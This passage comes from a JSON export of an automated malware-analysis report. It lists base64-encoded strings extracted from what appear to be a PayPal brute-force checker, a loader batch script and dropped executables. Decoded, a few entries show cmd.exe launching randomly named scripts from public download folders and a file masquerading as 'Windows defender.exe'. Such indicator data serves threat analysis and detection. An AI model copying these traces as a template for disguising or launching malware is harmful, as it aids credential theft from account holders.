File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEM2RTEzMzcwLTMwQUMtMTFkMC1BMThDLTAwQTBDOTExODk1Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEM2RTEzMzgwLTMwQUMtMTFEMC1BMThDLTAwQTBDOTExODk1Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEM4QURCRDY0LUU3MUUtNDhhMC1BNERFLTE4NUMzOTVDRDMxNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JENENjMzMTRGLTNGQkEtNGExYi04MTJDLUVGOTYzNTg3MjhFNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGQ2MTZmMzUyLWQ2MjItMTFjZS1hYWM1LTAwMjBhZjBiOTlhMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEQ2NjYwNjNGLTE1ODctNEU0My04MUYxLUI5NDhFODA3MzYzRg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGQ4YWQwZjU4LTU0OTQtNDEwMi05N2M1LWVjNzk4ZTU5YmNmNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JERGNTk4OTMyLUYxMEMtNEUzOS1CQkEyLUMzMDhGMTAxREFBMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEUyRjVCQjExLTA1NzAtNDBDQS1BQ0RELTNBQTAxMjc3REVFOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEU3RTk5ODRGLUYwOUYtNGRhNC05MDNGLTZFMkUwRUZFNTZCNQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEU3RkUyRTEyLTY2MUMtNDBEQS05MkY5LTRGMDAyQUI2NzYyNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGYrVV5feTg2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"JEYyOTRBQ0ZDLTMxNDYtNDQ4My1BN0JGLUFERENBN0MyNjBFMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGY0NDdiNjllLTE4ODQtNGE3ZS04MDU1LTM0NmY3NGQ2ZWRiMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEY0QjFBNTk5LTcyNjYtNDMxOS1BOENBLUU3MEFDQjExRThDRA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JHRoaXMuR3JpZFNpemU=","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JHRoaXMuSWNvbg==","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JHRoaXMuTGFuZ3VhZ2U=","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JHRoaXMuTG9ja2Vk","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JHRoaXMuU25hcFRvR3JpZA==","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JHRoaXMuVHJheUhlaWdodA==","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JTRkLSUwMmQtJTAyZC0lMDJkLSUwMmQtJTAyZC0lMDNk","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JV0qTmExQmYvZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"JWQuJWQuJWQuJWQ=","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"JWQvJTAyZC8lMDJk","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkAlc3lzdGVtcm9vdCVcc3lzdGVtMzJcbXNzdnAuZGxsLC0xMTAiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkAlc3lzdGVtcm9vdCVcc3lzdGVtMzJcbXNzdnAuZGxsLC0xMTIiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkAlUFJPR1JBTUZJTEVTJVwoeDg2KVxNaWNyb3NvZnQgT2ZmaWNlXE9mZmljZTE1XE1BUElTSEVMTC5ETEwsLTExMCIl","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkNMU0lEX1NlYXJjaEZvbGRlciIl","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkNMU0lEX1NlYXJjaEhvbWUiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkNMU0lEX1N0YXJ0TWVudVBhdGhDb21wbGV0ZVByb3ZpZGVyRm9sZGVyIiU=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkNMU0lEX1N0YXJ0TWVudVByb3ZpZGVyRm9sZGVyIiU=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkNvbXB1dGVyIiU=","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkNvbXB1dGVycyBhbmQgRGV2aWNlcyIl","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkNvbnRyb2wgUGFuZWwgY29tbWFuZCBvYmplY3QgZm9yIFN0YXJ0IG1lbnUgYW5kIGRlc2t0b3AiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkNvbnRyb2wgUGFuZWwiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6ImRlbGVnYXRlIGZvbGRlciB0aGF0IGFwcGVhcnMgaW4gQ29tcHV0ZXIiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6ImRlbGVnYXRlIGZvbGRlciB0aGF0IGFwcGVhcnMgaW4gQ29tcHV0ZXIiJSB7QUREOEJBODAtMDAyQi0xMUQwLThGMEYtMDBDMDRGRDdEMDYyfSAweEZGRkY=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkRYUCIl","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkVuaGFuY2VkIFN0b3JhZ2UgRGF0YSBTb3VyY2UiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkVuaGFuY2VkIFN0b3JhZ2UgSWNvbiBPdmVybGF5IEhhbmRsZXIgQ2xhc3MiJSB7MEM2QzQyMDAtQzU4OS0xMUQwLTk5OUEtMDBDMDRGRDY1NUUxfSAweEZGRkY=","type":"Unicode","source":"Runtime Data","process":"PayPal.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IkdhbWVzIEV4cGxvcmVyIiU=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IklFIEhpc3RvcnkgYW5kIEZlZWRzIFNoZWxsIERhdGEgU291cmNlIGZvciBXaW5kb3dzIFNlYXJjaCIl","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6Ik1pY3Jvc29mdCBPbmVOb3RlIE5hbWVzcGFjZSBFeHRlbnNpb24gZm9yIFdpbmRvd3MgRGVza3RvcCBTZWFyY2giJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6Ik5ldHdvcmsiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6Ik90aGVyIFVzZXJzIEZvbGRlciIl","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IlBvcnRhYmxlIERldmljZXMiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IlBvcnRhYmxlIERldmljZXMiJSB7QUREOEJBODAtMDAyQi0xMUQwLThGMEYtMDBDMDRGRDdEMDYyfSAweEZGRkY=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IlB1YmxpYyBGb2xkZXIiJQ==","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IlJlY3ljbGUgQmluIiU=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IlNoYXJpbmcgT3ZlcmxheSAoUHJpdmF0ZSkiJSB7MEM2QzQyMDAtQzU4OS0xMUQwLTk5OUEtMDBDMDRGRDY1NUUxfSAweEZGRkY=","type":"Unicode","source":"Runtime Data","process":"PayPal.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IlN0aWNreSBOb3RlcyBOYW1lc3BhY2UgRXh0ZW5zaW9uIGZvciBXaW5kb3dzIERlc2t0b3AgU2VhcmNoIiU=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IlVzZXJzRmlsZXMiJQ==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IlVzZXJzTGlicmFyaWVzIiU=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUdVSUQ6IldpbmRvd3MgU2VhcmNoIFNlcnZpY2UgTWVkaWEgQ2VudGVyIE5hbWVzcGFjZSBFeHRlbnNpb24gSGFuZGxlciIl","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JVByb2dyYW1EYXRhJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXEFjY2Vzc29yaWVzXFdpbmRvd3MgUG93ZXJTaGVsbFxXaW5kb3dzIFBvd2VyU2hlbGwgKHg4NikubG5r","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVByb2dyYW1EYXRhJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXEFjY2Vzc29yaWVzXFdpbmRvd3MgUG93ZXJTaGVsbFxXaW5kb3dzIFBvd2VyU2hlbGwubG5r","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXMgKCVkKSA6ID09PiAlcy46ICVzICVz","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXMgKCVkKSA6ID09PiAlczogJXMgJXM=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXMgaXMgbm90IGEgdmFsaWQgSVB2NiBhZGRyZXNz","type":"Unicode","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXMuJWQudG1w","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXNcJXNcJXMubXVp","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVNdJyxkW29W","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"JXNQb3B1cENsbmRy","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVN5c3RlbS5DbGFzc2Vz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVN5c3RlbS5HbG9iYWxpemF0aW9uLk51bWJlckZvcm1hdEluZm8i","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JVN5c3RlbURyaXZlJVxNZWRpYVxXaW5kb3dzIGRlZmVuZGVyLmV4ZQ==","type":"Unicode","source":"Runtime Data","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JXN5c3RlbXJvb3QlXGhoLmV4ZQ==","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXN5c3RlbXJvb3QlXHN5c3RlbTMyXHdpbmRvd3Nwb3dlcnNoZWxsXHYxLjBccG93ZXJzaGVsbF9pc2UuZXhl","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXUuJXUlcyVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"JVdJTkRJUiVcc3lzdGVtMzJcY21kLmV4ZSAvYyAiIiVQVUJMSUMlXERvd25sb2FkXGp4enZtamhaWG9GaEthVmtSUXAzLmNtZCIgIg==","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"JVdJTkRJUiVcc3lzdGVtMzJcY21kLmV4ZSAvYyAiIkM6XE1lZGlhXHpWenY1Q0NzWGEzM1dBMHhLZ0dkc0pSMU02TGVETi5iYXQiICI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"JXdpbmRpciVcU3lzdGVtMzJcV2luZG93c1Bvd2VyU2hlbGxcdjEuMFxwb3dlcnNoZWxsLmV4ZQ==","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXdpbmRpciVcdHJhY2luZw==","type":"Unicode","source":"Runtime Data","process":"powershell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JXshW19ufHoq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"JkRlc3RpbmF0aW9uIGZvbGRlcg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001DB000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JkVudGVyIHBhc3N3b3JkIGZvciB0aGUgZW5jcnlwdGVkIGZpbGU6","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001DB000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Jmd1MzpcTnw0bFM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"JmxCMmpZaV0p","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"JnJGUi1FJjBs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"JnN5bmFmcGM=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JlN5c3RlbS5EYXRlVXRpbHM=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JlN5c3RlbS5SZWd1bGFyRXhwcmVzc2lvbnNDb3Jl","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Jld9W3FLNW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"J1tja19pVkJN","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"J2UmbzlzQVtCJQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"J1N5c3RlbS5VSUNvbnN0cw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KCpNQVJLKSBtdXN0IGhhdmUgYW4gYXJndW1lbnQ=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KCpVQ1ApXFg=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KCpWRVJCKSBub3QgcmVjb2duaXplZCBvciBtYWxmb3JtZWQ=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KDc6N1Y3ejfDr8K/wr0=","type":"Ansi","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"KDlqICR9M3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KDs3Lm5SJHozeg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KD9SIG9yICg/WystXWRpZ2l0cyBtdXN0IGJlIGZvbGxvd2VkIGJ5ICk=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KGRvZzEtZG9nMik=","type":"Unicode","source":"Dropped File","process":null,"filename":"regedit.exe.3528140644","compromised":null,"detection_total":null,"total":null},{"value":"KGk9QyJpezos","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KGsvKVYoS1RE","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KHA/L181NWouWg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KHBsZWFzZSByZXBvcnQp","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KFZjbC5NZW51cw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KHlyPE83JFNy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KUlkV2luc29jazI=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KW5ESl4iUlpm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KjFIQn1+N0N2IS0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Kj98PD4vIjo=","type":"Ansi","source":"Hybrid Analysis","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KmJOfnA8QjBc","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KkJaelloRjpq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KkRldmljZSBBc3NvY2lhdGlvbiBGcmFtZXdvcmsgUHJvdmlkZXIgSG9zdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"dasHost.exe.2647022759","compromised":null,"detection_total":null,"total":null},{"value":"Kkk4Sm5EYUo6cQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Km1lc3NhZ2VzKioq","type":"Ansi","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Kk5BdWRpby5SdWxlcy5FcnJvclN0dWIrPEV4ZWN1dGVGaWx0ZXI+ZF9fNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"KnNDaGVja0JveA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KyRNPGtndD4r","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KyguK1E9IEFt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KyxAbFVAL0BUV2Uj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KzFbIi5jNyN4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"K0RDUy5Db21wb3Nlci5Qb29sQ2xpZW50KzxHZXRFbnVtZXJhdG9yPmRfXzY=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"K0RDUy5MaXN0ZW5lcnMuQWR2aXNvckVycm9yKzxBZnRlclNlbGY+ZF9fNDI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"K3R+YGMqYStv","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"K1c4PDVsfihrMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"K1lieC1dazo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"LCBNTU1NIGRkLCB5eXl5","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LCg1XDVYNWtv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"LD4wPjQ+OD48PkA+RD5IPkw+UD5UPlg+XD5gPmQ+aD5sPnA+dD54Pnw+w6/Cv8K9","type":"Ansi","source":"Runtime Data","process":"PayPal brute.checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"LF8sXywsXywsLA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_3.png","compromised":null,"detection_total":null,"total":null},{"value":"LERDUy5DbGFzc2VzLkJyb2FkY2FzdGVyUmVwb25zZSs8R2V0RG1vcz5kX18z","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"LERDUy5Db21wb3Nlci5BZGFwdGVyU3R1Yis8RXhlY3V0ZUZpbHRlcj5kX180","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"LERDUy5MaXN0ZW5lcnMuQWR2aXNvckVycm9yKzxCZWZvcmVTZWxmPmRfXzQz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"LGw9SkJvbWU=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LFN5c3RlbS5DaGFyYWN0ZXI=","type":"Ansi","source":"Memory/File 